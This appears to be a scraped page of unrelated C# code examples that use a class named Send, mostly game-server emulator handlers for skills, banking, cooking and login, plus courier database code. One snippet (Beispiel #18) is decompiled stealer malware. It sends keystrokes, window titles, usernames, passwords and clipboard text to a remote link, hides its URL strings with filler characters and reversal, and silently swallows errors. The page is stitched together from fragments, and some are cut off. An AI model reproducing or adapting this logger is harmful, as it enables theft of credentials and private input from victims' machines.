Inheritance: MonoBehaviour
Beispiel #1
0
 public Person(int id)
 {
     this.id = id;
     this.instance = Send.getInstance ();
     if (instance == null) {
         Console.WriteLine ("Die Instanz ist null");
     }
     leftHandState = HandState.NotTracked;
     rightHandState = HandState.NotTracked;
     message = new string[2];
 }
Beispiel #2
0
 public void Add(Send model)
 {
     using (CTSContext context = new CTSContext())
     {
         if (model.BelongCompany.Id > 0)
         {
             model.BelongCompany = context.CourierCompanys.FirstOrDefault(p => p.Id == model.BelongCompany.Id);
         }
         else
         {
             model.BelongCompany = null;
         }
         context.Sends.Add(model);
         context.SaveChanges();
     }
 }
Beispiel #3
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 public void Edit(Send model)
 {
     using (CTSContext context = new CTSContext())
     {
         var send = context.Sends.FirstOrDefault(p => p.Id == model.Id);
         if (model.BelongCompany.Id > 0)
         {
             send.BelongCompany = context.CourierCompanys.FirstOrDefault(p => p.Id == model.BelongCompany.Id);
         }
         send.CourierNumber = model.CourierNumber;
         send.CustomerAddress = model.CustomerAddress;
         send.CustomerName = model.CustomerName;
         send.CustomerPhone = model.CustomerPhone;
         send.RecipientAddress = model.RecipientAddress;
         send.RecipientName = model.RecipientName;
         send.RecipientPhone = model.RecipientPhone;
         send.Price = model.Price;
         send.Weight = model.Weight;
         send.Remark = model.Remark;
         context.SaveChanges();
     }
 }
Beispiel #4
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        public void ChannelCharacterInfoRequest(ChannelClient client, Packet packet)
        {
            var creature = client.GetCreatureSafe(packet.Id);

            if (creature.Master != null)
            {
                var pos = creature.GetPosition();
                Send.SpawnEffect(SpawnEffect.Pet, creature.RegionId, pos.X, pos.Y, creature.Master, creature);
            }

            // Infamous 5209, aka char info
            Send.ChannelCharacterInfoRequestR(client, creature);

            // Special treatment for pets
            if (creature.Master != null)
            {
                // Send vehicle info to make mounts mountable
                if (creature.RaceData.VehicleType > 0)
                {
                    Send.VehicleInfo(creature);
                }
            }

            var playerCreature = creature as PlayerCreature;

            if (playerCreature != null)
            {
                var now = DateTime.Now;

                // Update last login
                playerCreature.LastLogin = now;

                // Age check
                var lastSaturday = ErinnTime.Now.GetLastSaturday();
                var lastAging    = playerCreature.LastAging;
                var diff         = (lastSaturday - lastAging).TotalDays;

                if (lastAging < lastSaturday)
                {
                    playerCreature.AgeUp((short)(1 + diff / 7));
                }

                // Name/Chat color conditions
                if (creature.Vars.Perm["NameColorEnd"] != null)
                {
                    var dt = (DateTime)creature.Vars.Perm["NameColorEnd"];
                    if (now > dt)
                    {
                        creature.Vars.Perm["NameColorIdx"] = null;
                        creature.Vars.Perm["NameColorEnd"] = null;
                    }
                }
                if (creature.Vars.Perm["ChatColorEnd"] != null)
                {
                    var dt = (DateTime)creature.Vars.Perm["ChatColorEnd"];
                    if (now > dt)
                    {
                        creature.Vars.Perm["ChatColorIdx"] = null;
                        creature.Vars.Perm["ChatColorEnd"] = null;
                    }
                }
                if (creature.Vars.Perm["NameColorIdx"] != null)
                {
                    var extra = new MabiDictionary();
                    extra.SetInt("IDX", (int)creature.Vars.Perm["NameColorIdx"]);

                    creature.Conditions.Activate(ConditionsB.NameColorChange, extra);
                }
                if (creature.Vars.Perm["ChatColorIdx"] != null)
                {
                    var extra = new MabiDictionary();
                    extra.SetInt("IDX", (int)creature.Vars.Perm["ChatColorIdx"]);

                    creature.Conditions.Activate(ConditionsB.ChatColorChange, extra);
                }

                // Chat sticker hack
                // You don't see your own chat stickers on Aura without this packet
                // for unknown reasons.
                if (creature.Vars.Perm["ChatStickerId"] != null)
                {
                    var sticker = (ChatSticker)creature.Vars.Perm["ChatStickerId"];
                    var end     = (DateTime)creature.Vars.Perm["ChatStickerEnd"];

                    if (now < end)
                    {
                        Send.ChatSticker(creature, sticker, end);
                    }
                }
            }
        }
Beispiel #5
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        public void SkillUse(ChannelClient client, Packet packet)
        {
            var skillId = (SkillId)packet.GetUShort();

            var creature = client.GetCreatureSafe(packet.Id);

            var skill = creature.Skills.GetSafe(skillId);

            var handler = ChannelServer.Instance.SkillManager.GetHandler <IUseable>(skillId);

            if (handler == null)
            {
                Log.Unimplemented("SkillUse: Skill handler or interface for '{0}'.", skillId);
                Send.ServerMessage(creature, Localization.Get("This skill isn't implemented yet."));
                Send.SkillUseSilentCancel(creature);
                return;
            }

            // Lightning Rod Use Check:
            // Lightning rod will send Use any time its hotkey is released.
            // This will lock the client if the skill is canceled for any reason (such as insufficient mana),
            // as there is no Active Skill - yet Lightning Rod sends use.
            // To counter this, the Active Skill must be set back to Lightning Rod and THEN canceled.
            if (skill.Info.Id == SkillId.LightningRod && creature.Skills.ActiveSkill != skill)
            {
                creature.Skills.ActiveSkill = skill;
                Send.SkillUseSilentCancel(creature);
                return;
            }

            // Can only use ready skills
            if (skill.State != SkillState.Ready)
            {
                Log.Error("SkillUse: Skill '{0}' wasn't readied first.", skillId);
                Send.ServerMessage(creature, Localization.Get("Error: Skill wasn't ready."));
                Send.SkillUseSilentCancel(creature);
                return;
            }

            try
            {
                creature.Unlock(Locks.All);
                creature.Lock(Locks.ChanceStance | Locks.Walk | Locks.Run | Locks.ChangeEquipment | Locks.UseItem | Locks.Attack | Locks.PickUpAndDrop | Locks.TalkToNpc | Locks.Gesture);
                creature.Lock(skill.Data.UseLock);
                creature.Unlock(skill.Data.UseUnlock);

                handler.Use(creature, skill, packet);

                // Mana/Stamina reduction on usage. Example: Lightning Rod
                if (skill.RankData.ManaActive != 0)
                {
                    creature.Regens.Add(Stat.Mana, creature.GetAdjustedManaCost(skill.RankData.ManaActive), creature.ManaMax, 1000);
                }
                if (skill.RankData.StaminaActive != 0)
                {
                    creature.Regens.Add(Stat.Stamina, skill.RankData.StaminaActive, creature.StaminaMax, 1000);
                }

                // If stacks aren't 0 the skill wasn't successfully used yet.
                if (skill.Stacks == 0)
                {
                    // Only if it wasn't canceled in Use? (Counter)
                    if (skill.State != SkillState.Canceled)
                    {
                        skill.State = SkillState.Used;
                    }

                    creature.Regens.Remove("ActiveSkillWait");
                }
            }
            catch (NotImplementedException)
            {
                creature.Unlock(Locks.All);
                Log.Unimplemented("SkillUse: Skill use method for '{0}'.", skillId);
                Send.ServerMessage(creature, Localization.Get("This skill isn't implemented completely yet."));
                Send.SkillUseSilentCancel(creature);
            }
        }
        public void Can_serialize_Send()
        {
            var message = new Send("/user/u3", "hello", true);

            AssertEqual(message);
        }
Beispiel #7
0
 internal override void SendErrorMessage(short error) => Send?.Invoke(this, new SendSecuritiesAPI(error));
Beispiel #8
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        public void SkillPrepare(ChannelClient client, Packet packet)
        {
            var skillId = (SkillId)packet.GetUShort();

            var creature = client.GetCreatureSafe(packet.Id);

            // Don't start another while one is active. If you cast another
            // skill with one already active the client sends Cancel first.
            // This should prevent a simultaneous Prepare.
            // If it's the same skill as the active one it *probably* is stackable.
            if (creature.Skills.ActiveSkill != null && creature.Skills.ActiveSkill.Info.Id != skillId)
            {
                Send.SkillPrepareSilentCancel(creature, skillId);
                return;
            }

            // Check lock
            if (!creature.Can(Locks.PrepareSkills))
            {
                Log.Debug("PrepareSkills locked for '{0}'.", creature.Name);
                Send.SkillPrepareSilentCancel(creature, skillId);
                return;
            }

            var skill = creature.Skills.GetSafe(skillId);

            skill.State = SkillState.None;

            var handler = ChannelServer.Instance.SkillManager.GetHandler <IPreparable>(skillId);

            if (handler == null)
            {
                Log.Unimplemented("SkillPrepare: Skill handler or interface for '{0}'.", skillId);
                Send.ServerMessage(creature, Localization.Get("This skill isn't implemented yet."));
                Send.SkillPrepareSilentCancel(creature, skillId);
                return;
            }

            // Check Mana
            // According to the Wiki you need the full amount, even if you
            // have ManaUse upgrades.
            if (creature.Mana < skill.RankData.ManaCost)
            {
                Send.Notice(creature, Localization.Get("Unable to use the skill. Insufficient Mana."));
                Send.SkillPrepareCancellation(creature, skillId, 1);
                Send.SkillPrepareSilentCancel(creature, skillId);
                return;
            }

            // Check Stamina
            if (creature.Stamina < skill.RankData.StaminaCost)
            {
                // If SkillPrepareCancellation isn't sent, some skills, like Ranged,
                // spam Prepare until enough mana/stamina is there again.

                Send.Notice(creature, Localization.Get("Unable to use the skill. Insufficient Stamina."));
                Send.SkillPrepareCancellation(creature, skillId, 0);
                Send.SkillPrepareSilentCancel(creature, skillId);
                return;
            }

            try
            {
                creature.Unlock(Locks.All);
                creature.Lock(Locks.ChanceStance | Locks.ChangeEquipment | Locks.UseItem | Locks.PrepareSkills | Locks.Attack | Locks.TalkToNpc | Locks.Gesture | Locks.StartSkills);
                creature.Lock(skill.Data.PrepareLock);
                creature.Unlock(skill.Data.PrepareUnlock);

                // Run handler
                var success = handler.Prepare(creature, skill, packet);
                if (!success)
                {
                    creature.Unlock(Locks.All);
                    Send.SkillPrepareSilentCancel(creature, skillId);
                    return;
                }

                // Normal Mana/Stamina reduction
                // Usage skill's custom usage handler if it has one.
                var usageHandler = handler as ICustomPrepareUsageSkill;
                if (usageHandler != null)
                {
                    usageHandler.CustomPrepareUsage(creature, skill);
                }
                else
                {
                    var castTime = skill.GetCastTime();

                    if (skill.RankData.ManaPrepare != 0)
                    {
                        if (castTime == 0)
                        {
                            creature.Mana += creature.GetAdjustedManaCost(skill.RankData.ManaPrepare);
                            Send.StatUpdate(creature, StatUpdateType.Private, Stat.Mana);
                        }
                        else
                        {
                            // "Hack"? Our regens tick once per second,
                            // but while the cost values are per second,
                            // the load times aren't always full seconds.
                            // The client must either be adjusting those
                            // values itself for per second, or it ticks
                            // in 100th of ms.
                            // This adjusts them for per second, for client
                            // and server.
                            var cost      = creature.GetAdjustedManaCost(skill.RankData.ManaPrepare);
                            var perSecond = (float)(cost / Math.Ceiling(castTime / 1000f) * (skill.RankData.NewLoadTime / 1000f));
                            var seconds   = (int)(Math.Ceiling(castTime / 1000f) * 1000);

                            creature.Regens.Add(Stat.Mana, perSecond, creature.ManaMax, seconds);
                        }
                    }

                    if (skill.RankData.StaminaPrepare != 0)
                    {
                        if (castTime == 0)
                        {
                            creature.Stamina += skill.RankData.StaminaPrepare;
                            Send.StatUpdate(creature, StatUpdateType.Private, Stat.Stamina);
                        }
                        else
                        {
                            var perSecond = (float)(skill.RankData.StaminaPrepare / Math.Ceiling(castTime / 1000f) * (skill.RankData.NewLoadTime / 1000f));
                            var seconds   = (int)(Math.Ceiling(castTime / 1000f) * 1000);

                            creature.Regens.Add(Stat.Stamina, perSecond, creature.StaminaMax, seconds);
                        }
                    }
                }

                // Set active skill
                creature.Skills.ActiveSkill = skill;

                // Only set state if the handler didn't skip states.
                if (skill.State == SkillState.None)
                {
                    skill.CastEnd = DateTime.Now.AddMilliseconds(skill.GetCastTime());
                    skill.State   = SkillState.Prepared;
                }
            }
            catch (NotImplementedException)
            {
                creature.Unlock(Locks.All);
                Log.Unimplemented("SkillPrepare: Skill prepare method for '{0}'.", skillId);
                Send.ServerMessage(creature, Localization.Get("This skill isn't implemented completely yet."));
                Send.SkillPrepareSilentCancel(creature, skillId);
            }
        }
Beispiel #9
0
        /// <summary>
        /// Handles actions and broadcasts action pack.
        /// </summary>
        public void Handle()
        {
            foreach (var action in this.Actions)
            {
                // Max target stun for players == 2000?
                if (action.Category == CombatActionCategory.Target && action.Creature.IsPlayer)
                {
                    action.Stun = (short)Math.Min(2000, (int)action.Stun);
                }

                action.Creature.Stun = action.Stun;

                // Life update
                Send.StatUpdate(action.Creature, StatUpdateType.Private, Stat.Life, Stat.LifeInjured, Stat.Mana);
                Send.StatUpdate(action.Creature, StatUpdateType.Public, Stat.Life, Stat.LifeInjured);

                // If target action
                if (action.Category == CombatActionCategory.Target)
                {
                    var tAction = action as TargetAction;

                    // Mana Shield flag
                    if (tAction.ManaDamage > 0 && tAction.Damage == 0)
                    {
                        tAction.Set(TargetOptions.ManaShield);
                    }

                    // On attack events
                    ChannelServer.Instance.Events.OnCreatureAttacked(tAction);
                    if (this.Attacker.IsPlayer)
                    {
                        ChannelServer.Instance.Events.OnCreatureAttackedByPlayer(tAction);
                    }

                    // OnHit AI event
                    //action.Creature.Aggro(tAction.Attacker);
                    var npc = action.Creature as NPC;
                    if (npc != null && npc.AI != null)
                    {
                        npc.AI.OnHit(tAction);
                    }

                    // Cancel target's skill
                    // Don't cancel Defense, which is still active at this point,
                    // a Complete for it is sent by the client shortly after.
                    // That won't happen if Smash is the attacker skill,
                    // but that's official behavior.
                    if (action.Creature.Skills.ActiveSkill != null && action.Creature.Skills.ActiveSkill.Info.Id != SkillId.Defense)
                    {
                        // Cancel non stackable skills on hit, wait for a
                        // knock back for stackables
                        if (action.Creature.Skills.ActiveSkill.RankData.StackMax > 1)
                        {
                            if (action.IsKnockBack)
                            {
                                var custom = ChannelServer.Instance.SkillManager.GetHandler(action.Creature.Skills.ActiveSkill.Info.Id) as ICustomHitCanceler;
                                if (custom == null)
                                {
                                    action.Creature.Skills.CancelActiveSkill();
                                }
                                else
                                {
                                    custom.CustomHitCancel(action.Creature);
                                }
                            }
                        }
                        else
                        {
                            action.Creature.Skills.CancelActiveSkill();
                        }
                    }

                    // Cancel rest
                    if (action.Creature.Has(CreatureStates.SitDown))
                    {
                        var restHandler = ChannelServer.Instance.SkillManager.GetHandler <Rest>(SkillId.Rest);
                        if (restHandler != null)
                        {
                            restHandler.Stop(action.Creature, action.Creature.Skills.Get(SkillId.Rest));
                        }
                    }

                    // Remember knock back/down
                    tAction.Creature.WasKnockedBack = tAction.Has(TargetOptions.KnockBack) || tAction.Has(TargetOptions.KnockDown) || tAction.Has(TargetOptions.Smash);

                    if (tAction.Has(TargetOptions.KnockDown))
                    {
                        tAction.Creature.KnockDownTime = DateTime.Now.AddMilliseconds(tAction.Stun);
                    }

                    // Stability meter
                    // TODO: Limit it to "targetees"?
                    var visibleCreatures = tAction.Creature.Region.GetVisibleCreaturesInRange(tAction.Creature);
                    foreach (var cr in visibleCreatures)
                    {
                        Send.StabilityMeterUpdate(cr, tAction.Creature);
                    }
                }

                // If attacker action
                if (action.Category == CombatActionCategory.Attack)
                {
                    var aAction = action as AttackerAction;

                    var npc = action.Creature as NPC;
                    if (npc != null && npc.AI != null && action.SkillId != SkillId.CombatMastery)
                    {
                        npc.AI.OnUsedSkill(aAction);
                    }

                    ChannelServer.Instance.Events.OnCreatureAttacks(aAction);
                }
            }

            // Send combat action
            Send.CombatAction(this);

            // Skill used
            if (this.SkillId != SkillId.CombatMastery)
            {
                Send.CombatUsedSkill(this.Attacker, this.SkillId);
            }

            // End combat action
            Send.CombatActionEnd(this.Attacker, this.Id);
        }
Beispiel #10
0
        public void Cancel(Creature creature, Skill skill)
        {
            creature.Temp.LightningRodFullCharge = false;

            Send.Effect(creature, Effect.LightningRod, LightningRodEffect.Cancel);
        }
Beispiel #11
0
        /// <summary>
        /// Attempts to start a transfer of the given item to the bank the
        /// creature is currently using.
        /// </summary>
        /// <param name="creature"></param>
        /// <param name="itemEntityId"></param>
        /// <param name="instantTransfer"></param>
        /// <returns></returns>
        public bool Transfer(Creature creature, long itemEntityId, bool instantTransfer)
        {
            // Check bank
            var currentBank = creature.Temp.CurrentBankId;

            if (string.IsNullOrWhiteSpace(currentBank))
            {
                Log.Warning("BankTransferRequest: Player '0x{0:X16}' (Account: '{1}') tried to transfer item while not being in a bank.", creature.EntityId, creature.Client.Account.Id);
                return(false);
            }

            // Get item and tab
            Item   item    = null;
            string tabName = null;

            foreach (var tab in this.Tabs.Values)
            {
                item = tab.GetItem(itemEntityId);
                if (item != null)
                {
                    tabName = tab.Name;
                    break;
                }
            }

            if (item == null)
            {
                Log.Warning("BankTransferRequest: Player '0x{0:X16}' (Account: '{1}') tried to transfer a non-existing or in-transit item.", creature.EntityId, creature.Client.Account.Id);
                return(false);
            }

            // Get fee and time
            var fee  = BankInventory.GetTransferFee(item, item.Bank, currentBank);
            var time = BankInventory.GetTransferTime(item.Bank, currentBank);

            // Incrase fee for instant transfer.
            if (instantTransfer)
            {
                // Don't change, hardcoded in the client.
                fee  = 100 + (fee * 5);
                time = 0;
            }

            // Check gold
            if (this.Gold < fee)
            {
                Send.MsgBox(creature, Localization.Get("Unable to pay the fee, Insufficient balance."));
                return(false);
            }

            // Transfer
            item.Bank = currentBank;
            item.BankTransferStart    = DateTime.Now;
            item.BankTransferDuration = time;

            this.RemoveGold(creature, fee);

            Send.BankTransferInfo(creature, tabName, item);

            return(true);
        }
Beispiel #12
0
        /// <summary>
        /// Cancels skill.
        /// </summary>
        /// <param name="creature"></param>
        /// <param name="skill"></param>
        public override void Cancel(Creature creature, Skill skill)
        {
            base.Cancel(creature, skill);

            Send.Effect(creature, 356, (byte)0);
        }
Beispiel #13
0
        /// <summary>
        /// Checks tools for method, returns true if everything is in order.
        /// </summary>
        /// <param name="creature"></param>
        /// <returns></returns>
        private bool CheckTools(Creature creature, string method)
        {
            var right = "";
            var left  = "";

            switch (method)
            {
            case CookingMethod.Mixing:
                right = "/cooking/cooking_knife/";
                left  = "/cooking/cooking_table/";
                break;

            case CookingMethod.Kneading:
            case CookingMethod.NoodleMaking:
            case CookingMethod.PastaMaking:
            case CookingMethod.PieMaking:
                right = "/cooking/cooking_kneader/";
                left  = "/cooking/cooking_table/";
                break;

            case CookingMethod.Baking:
            case CookingMethod.Simmering:
            case CookingMethod.Boiling:
            case CookingMethod.DeepFrying:
            case CookingMethod.StirFrying:
            case CookingMethod.JamMaking:
            case CookingMethod.Steaming:
                right = "/cooking/cooking_dipper/";
                left  = "/cooking/cooking_pot/";
                break;

            default:
                Log.Error("Cooking.CheckTools: Unknown cooking method.");
                return(false);
            }

            // Check right hand
            if (right != "")
            {
                if ((creature.RightHand == null || !creature.RightHand.HasTag(right)))
                {
                    return(false);
                }

                if (creature.RightHand.Durability == 0)
                {
                    Send.Notice(creature, Localization.Get("You can't use this {0} anymore."), creature.RightHand.Data.Name);
                    return(false);
                }
            }

            // Check left hand
            if (left != "")
            {
                if ((creature.LeftHand == null || !creature.LeftHand.HasTag(left)))
                {
                    return(false);
                }

                if (creature.LeftHand.Durability == 0)
                {
                    Send.Notice(creature, Localization.Get("You can't use this {0} anymore."), creature.RightHand.Data.Name);
                    return(false);
                }
            }

            return(true);
        }
Beispiel #14
0
        /// <summary>
        /// Moves item from creature's inventory into bank.
        /// </summary>
        /// <param name="creature"></param>
        /// <param name="item"></param>
        /// <param name="bankId"></param>
        /// <param name="tabName"></param>
        /// <param name="x"></param>
        /// <param name="y"></param>
        /// <returns></returns>
        public bool DepositItem(Creature creature, long itemEntityId, string bankId, string tabName, int x, int y)
        {
            // Check tab
            if (!this.Tabs.ContainsKey(tabName))
            {
                return(false);
            }

            var tab = this.Tabs[tabName];

            // Check item
            var item = creature.Inventory.GetItem(itemEntityId);

            if (item == null)
            {
                return(false);
            }

            // Add gold directly
            if (item.Info.Id == 2000)
            {
                this.Gold += item.Info.Amount;
                Send.BankUpdateGold(creature, this.Gold);
            }
            // Add check as gold
            else if (item.Info.Id == 2004)
            {
                var amount = item.MetaData1.GetInt("EVALUE");

                this.Gold += amount;
                Send.BankUpdateGold(creature, this.Gold);
            }
            // Add license as gold
            else if (item.HasTag("/personalshoplicense/"))
            {
                var fee         = 0f;
                var license     = item.Data.PersonalShopLicense;
                var licenseData = AuraData.ShopLicenseDb.Find(license);
                if (licenseData != null)
                {
                    fee = licenseData.ExchangeFee;
                }

                var amount = item.MetaData1.GetInt("EVALUE");
                amount = (int)(amount - amount * fee);

                if (amount > 0)
                {
                    this.Gold += amount;
                    Send.BankUpdateGold(creature, this.Gold);
                }
            }
            // Normal items
            else
            {
                // Generate a new item, makes moving and updating easier.
                var newItem = new Item(item);

                // Try adding item to tab
                if (!tab.TryAdd(newItem, x, y))
                {
                    return(false);
                }

                // Update bank id
                newItem.Bank = bankId;

                // Update client
                Send.BankAddItem(creature, newItem, bankId, tabName);
            }

            // Remove item from inventory
            creature.Inventory.Remove(item);

            return(true);
        }
Beispiel #15
0
        /// <summary>
        /// Completes skill, creating the item.
        /// </summary>
        /// <param name="creature"></param>
        /// <param name="skill"></param>
        /// <param name="packet"></param>
        public void Complete(Creature creature, Skill skill, Packet packet)
        {
            var unkInt = packet.GetInt();

            // Get recipe and create item
            Item item    = null;
            var  success = false;
            var  recipe  = AuraData.CookingDb.Find(creature.Temp.CookingMethod, creature.Temp.CookingIngredients.Select(a => a.Item.Info.Id));

            if (recipe != null)
            {
                // Get judgement
                var judgement = this.JudgeQuality(recipe, creature.Temp.CookingIngredients);
                if (judgement.Quality >= SuccessMinQuality)
                {
                    var quality = (int)judgement.Quality;
                    var rating  = this.GetRating((int)judgement.Quality);

                    // Create food if quality was good enough
                    item = new Item(recipe.ItemId);
                    item.MetaData1.SetInt("QUAL", quality);
                    item.MetaData1.SetString("MKNAME", creature.Name);
                    item.MetaData1.SetShort("MKSLV", (short)skill.Info.Rank);
                    item.MetaData1.SetString("MKACT", creature.Temp.CookingMethod);

                    // Notice
                    var msg = "";
                    if (judgement.Quality > 75)
                    {
                        msg += Localization.Get("You just made a delicious dish!");
                    }
                    else if (judgement.Quality > 55)
                    {
                        msg += Localization.Get("You just made a tasty dish!");
                    }
                    else if (judgement.Quality > 35)
                    {
                        msg += Localization.Get("You just made an edible dish.");
                    }
                    else if (judgement.Quality > -35)
                    {
                        msg += Localization.Get("You just made a pretty unappetizing dish...");
                    }
                    else
                    {
                        msg += Localization.Get("You just made a dish... that you probably shouldn't eat. Yuck!");
                    }

                    // Help message
                    if (judgement.HelpItem != null)
                    {
                        var rnd     = RandomProvider.Get();
                        var helpmsg = "";
                        if (judgement.HelpAmount < 0)
                        {
                            helpmsg += Localization.Get("There may have been {1:0.0}%-{2:0.0}% less {0} than required.");
                        }
                        else
                        {
                            helpmsg += Localization.Get("There may have been {1:0.0}%-{2:0.0}% more {0} than required.");
                        }

                        var name   = judgement.HelpItem.Data.Name;
                        var amount = Math.Abs(judgement.HelpAmount) * 100;
                        var min    = (amount - rnd.NextDouble());
                        var max    = (amount + rnd.NextDouble());

                        msg += string.Format("\n" + helpmsg, name, min, max);
                    }

                    Send.Notice(creature, msg);

                    this.OnSuccessfulCooking(creature, skill, creature.Temp.CookingMethod, item, rating);

                    success = true;
                }
            }
            else
            {
                //Log.Debug("Recipe not found");
                //Log.Debug("Method: " + creature.Temp.CookingMethod);
                //Log.Debug("Ingredients:");
                //foreach (var ingredient in creature.Temp.CookingIngredients)
                //	Log.Debug("- " + ingredient.Item.Info.Id);
            }

            // Create food waste if nothing halfway decent was created
            if (!success)
            {
                item = new Item(FoodWasteItemId);
                Send.Notice(creature, Localization.Get("Cooking failed"));
            }

            // Remove ingredient items
            // According to the Wiki the whole stack gets removed.
            foreach (var ingredient in creature.Temp.CookingIngredients)
            {
                creature.Inventory.Remove(ingredient.Item);
            }

            // Replace bottled goods with empty bottles
            foreach (var ingredient in creature.Temp.CookingIngredients)
            {
                if (ingredient.Item.HasTag("/milk/|/water/"))
                {
                    creature.Inventory.Add(new Item(EmptyBottleItemId), true);
                }
            }

            // Add item to inv
            creature.Inventory.Add(item, true);

            // Cooking event
            ChannelServer.Instance.Events.OnCreatureCookedMeal(new CookingEventArgs(creature, recipe, success, item));

            // Effects and response
            Send.AcquireInfo2Cooking(creature, item.EntityId, item.Info.Id, success);
            Send.Effect(creature, Effect.Cooking, (byte)0, (byte)(success ? 4 : 1));

            Send.SkillComplete(creature, skill.Info.Id, unkInt);
        }
 public async Task PushSyncSendDeleteAsync(Send send)
 {
     await PushSendAsync(send, PushType.SyncSendDelete);
 }
Beispiel #17
0
        public void ChannelLogin(ChannelClient client, Packet packet)
        {
            var accountId = packet.GetString();
            // [160XXX] Double account name
            {
                packet.GetString();
            }
            var sessionKey  = packet.GetLong();
            var characterId = packet.GetLong();

            // Check state
            if (client.State != ClientState.LoggingIn)
            {
                return;
            }

            // Check account
            var account = ChannelServer.Instance.Database.GetAccount(accountId);

            if (account == null || account.SessionKey != sessionKey)
            {
                // This doesn't autoban because the client is not yet "authenticated",
                // so an evil person might be able to use it to inflate someone's
                // autoban score without knowing their password
                Log.Warning("ChannelLogin handler: Invalid account ({0}) or session ({1}).", accountId, sessionKey);
                client.Kill();
                return;
            }

            // Check character
            var character = account.GetCharacterOrPetSafe(characterId);

            client.Account     = account;
            client.Controlling = character;
            client.Creatures.Add(character.EntityId, character);
            character.Client = client;

            client.State = ClientState.LoggedIn;

            Send.ChannelLoginR(client, character.EntityId);

            // Log into world
            if (character.Has(CreatureStates.Initialized))
            {
                // Fallback for invalid region ids, like 0, dynamics, and dungeons.
                if (character.RegionId == 0 || Math2.Between(character.RegionId, 35000, 40000) || Math2.Between(character.RegionId, 10000, 11000))
                {
                    character.SetLocation(1, 12800, 38100);
                }

                character.Activate(CreatureStates.EverEnteredWorld);

                character.Warp(character.GetLocation());
            }
            // Special login to Soul Stream for new chars
            else
            {
                var npcEntityId = (character.IsCharacter ? MabiId.Nao : MabiId.Tin);
                var npc         = ChannelServer.Instance.World.GetCreature(npcEntityId);
                if (npc == null)
                {
                    Log.Warning("ChannelLogin: Intro NPC not found ({0}).", npcEntityId.ToString("X16"));
                }

                character.Temp.InSoulStream = true;
                character.Activate(CreatureStates.Initialized);

                Send.SpecialLogin(character, 1000, 3200, 3200, npcEntityId);
            }
        }
Beispiel #18
0
 // Token: 0x06000032 RID: 50 RVA: 0x00002ADC File Offset: 0x00001ADC
 public static void SendLog(string Link, string LogType, string WindowTitle, string KeystrokesTyped, string Application, string Host, string Username, string Password, string ClipboardText)
 {
     try
     {
         WebClient webClient = new WebClient();
         if (Operators.CompareString(LogType, "Keystrokes", false) == 0)
         {
             webClient.DownloadString(string.Concat(new string[]
             {
                 Link,
                 "$pos$t$.$ph$p$?$ty$p$e$=$k$eys$tro$ke$s$&$mac$hi$ne$na$me$=$".Replace("$", ""),
                 Send.Get_Comp(),
                 "&windowtitle=",
                 WindowTitle,
                 "&keystrokestyped=",
                 KeystrokesTyped,
                 Strings.StrReverse("=emitenihcam&"),
                 DateAndTime.Now.ToShortTimeString()
             }));
         }
         else if (Operators.CompareString(LogType, Strings.StrReverse("sdrowssaP"), false) == 0)
         {
             webClient.DownloadString(string.Concat(new string[]
             {
                 Link,
                 "#po#st.#ph#p?#typ#e=p#assw#ords#&mach#inen#ame=#".Replace("#", ""),
                 Send.Get_Comp(),
                 "&application=",
                 Application,
                 "&link=",
                 Host,
                 "&username="******"=drowssap&"),
                 Password
             }));
         }
         else if (Operators.CompareString(LogType, Strings.StrReverse("draobpilC"), false) == 0)
         {
             webClient.DownloadString(string.Concat(new string[]
             {
                 Link,
                 "$po$st$.$ph$p$?$ty$pe$=$cl$ip$boa$rd&$mac$hine$nam$e=$".Replace("$", ""),
                 Send.Get_Comp(),
                 "&windowtitle=",
                 WindowTitle,
                 "&clipboardtext=",
                 ClipboardText,
                 Strings.StrReverse("=emitenihcam&"),
                 DateAndTime.Now.ToShortTimeString()
             }));
         }
         else if (Operators.CompareString(LogType, "Screenshot", false) != 0)
         {
             if (Operators.CompareString(LogType, "Notification", false) == 0)
             {
                 webClient.DownloadString(string.Concat(new string[]
                 {
                     Link,
                     "$pos$t.$p$hp$?$typ$e=$not$ific$a$tion$&$mac$h$in$e$n$a$m$e$=$".Replace("$", ""),
                     Send.Get_Comp(),
                     Strings.StrReverse("=emitenihcam&"),
                     DateAndTime.Now.ToShortTimeString()
                 }));
             }
         }
     }
     catch (Exception ex)
     {
     }
 }
Beispiel #19
0
 /// <summary>
 /// Adds gesture by keyword.
 /// </summary>
 /// <param name="creature"></param>
 /// <param name="keyword"></param>
 /// <param name="name"></param>
 protected void AddGesture(Creature creature, string keyword, string name)
 {
     creature.Keywords.Give(keyword);
     Send.Notice(creature, Localization.Get("The {0} Gesture has been added. Check your gestures window."), name);
 }
Beispiel #20
0
    public override bool Route(Creature creature, Item item, ref string dungeonName)
    {
        // Small Green Gem (G1)
        if (item.Info.Id == 52004)
        {
            dungeonName = "g1_37_green_tirnanog_dungeon";
            return(true);
        }

        // Small Blue Gem (G1)
        if (item.Info.Id == 52005)
        {
            dungeonName = "g1_37_blue_tirnanog_dungeon";
            return(true);
        }

        // Small Red Gem (G1)
        if (item.Info.Id == 52006)
        {
            dungeonName = "g1_37_red_tirnanog_dungeon";
            return(true);
        }

        // Small Silver Gem (G1)
        if (item.Info.Id == 52007)
        {
            dungeonName = "g1_37_silver_tirnanog_dungeon";
            return(true);
        }

        // Black Orb (G1)
        if (item.Info.Id == 73033)
        {
            if (!creature.Party.Leader.Keywords.Has("g1_36"))
            {
                Send.Notice(creature, L("You can't enter this dungeon right now."));
                return(false);
            }

            if (creature.Party.MemberCount > 3)
            {
                Send.Notice(creature, L("To enter this dungeon, you need a party with 3 or less members."));
                return(false);
            }

            dungeonName = "g1_37_black_tirnanog_dungeon";
            return(true);
        }

        // Pendant of the Goddess (G1 Final)
        if (item.Info.Id == 73029)
        {
            if (!creature.Party.Leader.Keywords.Has("g1_38"))
            {
                Send.Notice(creature, L("You can't enter this dungeon right now."));
                return(false);
            }

            if (creature.Party.MemberCount > 3)
            {
                Send.Notice(creature, L("To enter this dungeon, you need a party with 3 or less members."));
                return(false);
            }

            dungeonName = "g1_39_tirnanog_dungeon";
            return(true);
        }

        // Goddess Pass (G1 Final)
        if (item.Info.Id == 73034)
        {
            if (!creature.Party.Leader.Keywords.Has("g1_38"))
            {
                Send.Notice(creature, L("You can't enter this dungeon right now."));
                return(false);
            }

            if (creature.Party.MemberCount > 3)
            {
                Send.Notice(creature, L("To enter this dungeon, you need a party with 3 or less members."));
                return(false);
            }

            dungeonName = "g1_39_tirnanog_dungeon_again";
            return(true);
        }

        // tirnanog_dungeon
        return(true);
    }
Beispiel #21
0
        /// <summary>
        /// Activates food stat mods for the given timeout and stats.
        /// </summary>
        /// <param name="creature"></param>
        /// <param name="item"></param>
        /// <param name="timeout"></param>
        /// <param name="str"></param>
